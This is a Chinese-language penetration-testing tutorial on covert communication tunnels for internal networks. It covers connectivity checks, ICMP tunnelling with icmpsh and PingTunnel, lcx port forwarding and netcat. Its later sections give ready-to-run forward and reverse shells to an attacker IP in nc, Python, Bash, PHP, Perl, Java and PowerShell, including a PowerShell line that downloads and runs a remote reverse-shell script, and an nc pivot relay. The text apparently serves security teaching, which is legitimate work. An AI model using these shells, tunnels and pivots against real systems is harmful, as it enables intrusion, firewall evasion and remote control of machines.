完成内网信息收集后,需要判断流量是否出的去、进得来。隐藏通信隧道技术常用于在访问受限网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输

0x01 隐藏通信隧道基础知识

1.隐藏通信隧道概述

一般的网络通信,现在两台机器之间建立TCP连接,之后进行正常的数据通信。在知道IP地址的情况喜爱,可以直接发送报文;如果不知道IP地址,需要将域名解析成IP地址。在实际的网络中,通常会通过各种边界设备、软硬件防火墙或者入侵检测系统来检测对外连接情况,如有异常,则对通信进行阻断。

这里的隧道,指的是一种绕过端口屏蔽的通信方式。防火墙的两端数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。

常见隧道如下:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

2.判断内网的连通性

判断内网的连通性是指判断机器能否上外网等。综合判断各种协议(TCP、HTTP、DNS、ICMP)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123常见的内网连通信判断如下:

(1)ICMP协议

1
ping <IP地址活域名>

(2)TCP协议

netcat简称nc,瑞士军刀,通过使用TCP活UDP协议的网络连接读取数据

1
2
nc <IP地址 端口号>
nc -zv 192.168.197.244 139

(3) HTTP协议

curl是一个利用URL规则在命令行下工作的综合文件传输工具,支持文件上传和下载。curl命令不仅支持HTTP、HTTPS、FTP等众多协议,还支持POST、Cookie、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征

使用方法如下,远程主机开启来相应端口,会输出相应端口的信息,若没有开通相应端口,则无提示

1
curl <IP地址:端口号>

(4) DNS协议

DNS连通信检测时,常用命令为nslookupdig

nslookup为windwos系统自带DNS探测命令,在没有指定vps-ip的时候,nslookup会从系统网络的TCP/IP属性中读取DNS服务器的地址,使用方法如下

1
2
nslookup www.baidu.com vps-ip
nslookup www.baidu.com

dig是Linux默认自带的DNS探测命令,在没有指定vps-ip的时候,dig会到etc/resolv.conf文件中读取系统配置的DNS服务器地址,命令如下

1
2
3
dig www.baidu.com //基本使用方法
dig @vps-ip www.baidu.com //
dig -h //查看帮助

另外一种情况是流量不能直接出,需要在内网中设置代理服务器,如通过企业办公网段上网的场景。常用判断方式如下

  • 查看网络连接,判断是否存在存在与其他机器的8080(不绝对)等端口的连接(可尝试运行ping -n 1 -a ip命令)
  • 查看内网中是否有主机名类似proxy机器
  • 查看IE浏览器的直接代理
  • 根据pac文件的路径(可能是本地路径,也可能是远程路径)将其下载下来并查看
  • 执行如下命令,利用curl工具进行确认
1
2
curl www.baidu.com  //不通
curl -x proxy-ip:port www.baidu.com //通

0x02 网络层隧道技术

1.IPv6隧道

IPv6速到技术是指通过IPv4隧道传送IPv6数据报文的技术。为了在IPv4海洋中传输IPv6信息,可以将IPv4作为隧道载体,将IPv6整体封装在IPv4数据报文中,使用IPv6报文能够穿过IPv4海洋,到达另一个IPv6小岛

IPv6隧道工作流程:

1
2
3
4
1、节点A要向节点B发送IPv6报文,首先要在节点A和节点B之间建立一条隧道
2、节点A将IPv6报文封装在以节点B的IPv4地址为目的地址、以自己的IPv4地址为源地址的IPv4报文中,并发往IPv4海洋
3、在IPv4海洋中,这个报文和普通IPv4报文一样,经过IPv4的转发到达节点B
4、节点Bs收到此报文之后,解除IPv4封装,取出其中的IPv6报文

现阶段的边界设备、防火墙或入侵防御系统还无法识别IPv6的通信数据,可通过相关来配置IPv6通信的设备,以避开防火墙和入侵检测系统。注意:即使设备支持IPv6,也可能无法正确分析封装了IPv6报文的IPv4数据包。

配置隧道和自动隧道的区别是:只有在执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才可行。在为执行隧道功能节点分配IP地址时,如果采用的是自动隧道方法,就不需要进行配置。

配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如次啊用DHCP、人工配置或其他IPv4的配置机制

支持IPv6的隧道工具有 socat 6tunnel nt6tunnel等

2.ICMP隧道

ICMP隧道简单、实用。在一般通信协议里,如果两台设备要进行,是需要开放端口的,而在ICMP协议下则不需要。常见的ICMP消息为ping命令。

在某些网络环境中,在使用了各类上层隧道(如HTTP隧道、DNS隧道、常规正/反向端口转发等)进行操作失败的情况下,会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包)实现不受限制的网络访问

常用的ICMP隧道工具有icmpsh 、PingTunnel、icmptunnel、powershell icmp等

(1)icmpsh

imcpsh使用简单、跨平台,运行不需管理员权限

下载地址:https://github.com/inquisb/icmpsh

使用强需要安装python的impacket类库,便于对TCP、UDP、ICMP、IGMP、ARP、IPv4、IPv6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行访问,因为icmpsh工具要替代系统本省ping命令的应答程序,所以需要关闭本地系统的ICMP应答(如果要恢复系统应答,设置为0)否则shell运行会不稳定

1
2
3
git clone https://github.com/inquisb/icmpsh.git //下载
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 //需要关闭本地系统的ICMP应答

在攻击机输入

1
./icmpsh_m.py 192.168.197.203 192.168.197.244

在目标机输入

1
icmpsh.exe -t 192.168.197.203

即可收到返回的shell

(2) PingTunnel

安装

下载地址:http://freshmeat.sourceforge.net/projects/ptunnel/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
解压
tar xf PingTunnel-0.72.tar.gz

切换目录
cd PingTunnel

编译
make && make install

如出现问题缺少pcap.h
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure

如再出现问题yacc包错误
sudo apt-get install -y byacc
./configure
make
sudo make install

kali安装命令(PS:kali自带)
apt install ptunnel

PingTunel使用方法:

PingTunel参数

1
2
3
4
5
-x:指定ICMP隧道连接的验证密码
-lp:指定要监听的本地TCP端口
-da:指定要转发的目标机器的IP地址
-dp:指定要转发的目标机器的TCP端口
-p:指定ICMP隧道另一端机器的IP地址
1
攻击机->VPS(安装ptunnel)->跳板机(安装ptunnel)->受控机

跳板机隧道命令如下

1
ptunnel -x shuteer

VPS机器运行命令

1
ptunnel -p 192.168.0.119 -lp 1080 -da 192.168.1.4 -dp 3389 -x shuteer

0x03 传输层隧道技术

传输层技术包含TCP隧道、UDP隧道和常规端口转发。渗透中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以只用IPTABLES打开质地昂端口,若内网存在一系列防御系统,TCP、UDP流量会被大量拦截

1.lcx端口转发

lcx经典端口转发工具,基于Socket套接字实现的端口转发工具。正常的隧道需具备两端:一端为服务端,监听一个端口,等待客户端的连接,另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接

(1)内网端口转发

目标机器上执行

1
2
将目标机器3389端口的所有数据转发到公网VPS的444端口上
lcx.exe -slave <公网vps-ip> 4444 127.0.0.1 3389

在VPS上执行

1
2
将本机4444端口上监听的所有数据转发到本机的5555端口上
lcx.exe -listen 4444 5555

用mstsc登录“<公网主机IP地址>:5555”,或VPS上用mstsc登录主机127.0.0.1的555端口,即可访问目标机的3389端口

(2)本地端口映射

由于防火墙的限制,部分端口(如3389)数据无法通过防火墙,可将目标服务器相应端口的数据透传到防火墙允许的其他端口(如53)如下命令

1
2
从远程桌面连接主机的53端口
lcx -tran 53 <目标主机IP地址> 3389

2.netcat

1.安装

1
2
3
4
5
6
7
8
linux

sudo yum install nc.x86_64

windows

https://joncraton.org/files/nc111nt.zip
https://joncraton.org/files/nc111nt_safe.zip

2.简单使用

(1)命令查询

netcat参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-d:后台程序
-e:程序重定向
-h:在线帮助
-i <延迟秒数>:设置时间隔,以便传送信息及扫描通信端口
-l:使用监听模式,管理和控制传入的数据
-n:直接使用IP地址(不通过域名服务器)
-o <输出文件>:指定文件名称,把往来传输的数据转换为十六进制字节码后保存在该文件中
-g <网关>:设置路由器跃程通信网关,最多8个
-G <指向器数目>:设置源路由指向器的数量,值为4的倍数
-p <通信端口>:设置本地主机使用的通信端口
-r:随机指定本地与远程主机的通信端口
-s <源地址>:设置本地主机送出数据包的IP地址
-u:使用UDP传输协议
-v:详细输出
-w <超时秒数>:设置等待连线的时间
-z:将输入/输出功能关闭,只在扫描通信端口时使用

(2)Banner抓取

服务的Banner信息能够为系统管理员提供当前网络中的系统信息和所运行服务的情况

命令如下

1
2
nc -nv <目标IP> <端口>
nc -nv 192.168.197.241 139

(3)连接远程主机

命令如下

1
2
nc -nvv <目标IP> <端口>
nc -nvv 192.168.197.241 139

(4) 端口扫描

扫描指定端口,命令如下

1
2
nc -v <目标IP> <端口>
nc -vv 192.168.197.241 139

扫描指定主机某个端口段(速度慢)

1
nc -v -z 192.168.197.241 100-500

(5) 端口监听

监听本地端口,命令如下

1
nc -l -p 9999

(6) 文件传输

本地主机,开始监听,等待连接

1
nc -lp 333 >pentest.txt

目标机

1
nc -vn 192.168.197.203 333 < test.txt

(7) 简易聊天

本地主机,监听

1
nc -l -p 888

目标机

1
nc -vn 192.168.197.203 888

3.获取shell

正向shell:客户端连接服务器,客户端向要获取服务器的shell,称为正向shell

反向shell:客户端连接服务器,服务器想要获取客户端的shell,称为反向shell

反向shell通常用在开启防护措施的目标机上,如防火墙过滤,端口转发

(1) 正向shell

目标机,监听目标主机4444端口

1
2
nc -lvp 4444 -e /bin/sh //linux
nc -lvp 4444 -e C:\Windows\System32\cmd.exe //widnwos

攻击机,连接目标主机的4444端口

1
nc 192.168.197.203 4444

(2)反向shell

攻击机,监听本地9999端口

1
nc -lvp 9999

目标机,连接攻击机的9999端口

1
2
nc 192.168.197.203 9999 -e /bin/sh //linux
nc 192.168.197.203 9999 -e C:\Windows\System32\cmd.exe //widnwos

4.在目标主机中没有nc时获取反向shell

在没有nc的时候,可使用其他工具和编程语言来代替nc,常用的几种反向shell如下

(1)python反向shell

攻击机

1
nc -lvp 2222

目标机

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.197.203",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

再回过来看攻击机

(2)Bash反向shell

攻击机

1
nc -lvp 4444

目标机

1
bash -i >& /dev/tcp/192.168.197.203/4444 0>&1

再返回看攻击机,已建立连接

(3) PHP反向shell

攻击机

1
nc -lvp 4444

目标机

1
php -r '$sock=fsockopen("192.168.197.203",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

返回看攻击机,已建立连接

(4) Perl反向shell

攻击机

1
nc -lvp 4444

目标机

1
perl -e 'use Socket;$i="192.168.197.203";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

返回看攻击机,已建立连接

(5) java反弹

目标机器执行

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.197.203/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

(6) powershell

目标机器执行

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.197.203 -port 4444

5.内网代理

假设获取web服务器权限,但攻击机不能访问数据库服务器,但web服务器是可以访问数据库服务器,现在要获取目标数据库服务器的shell

攻击机

1
nc -lvp 3333

目标机

1
2
nc -lvp 3333 -e /bin/sh //linux
nc -lvp 3333 -e C:\Windows\System32\cmd.exe //widnwos

跳板机

1
nc -v 192.168.197.203 333 -c "nc -v 192.168.197.247 3333"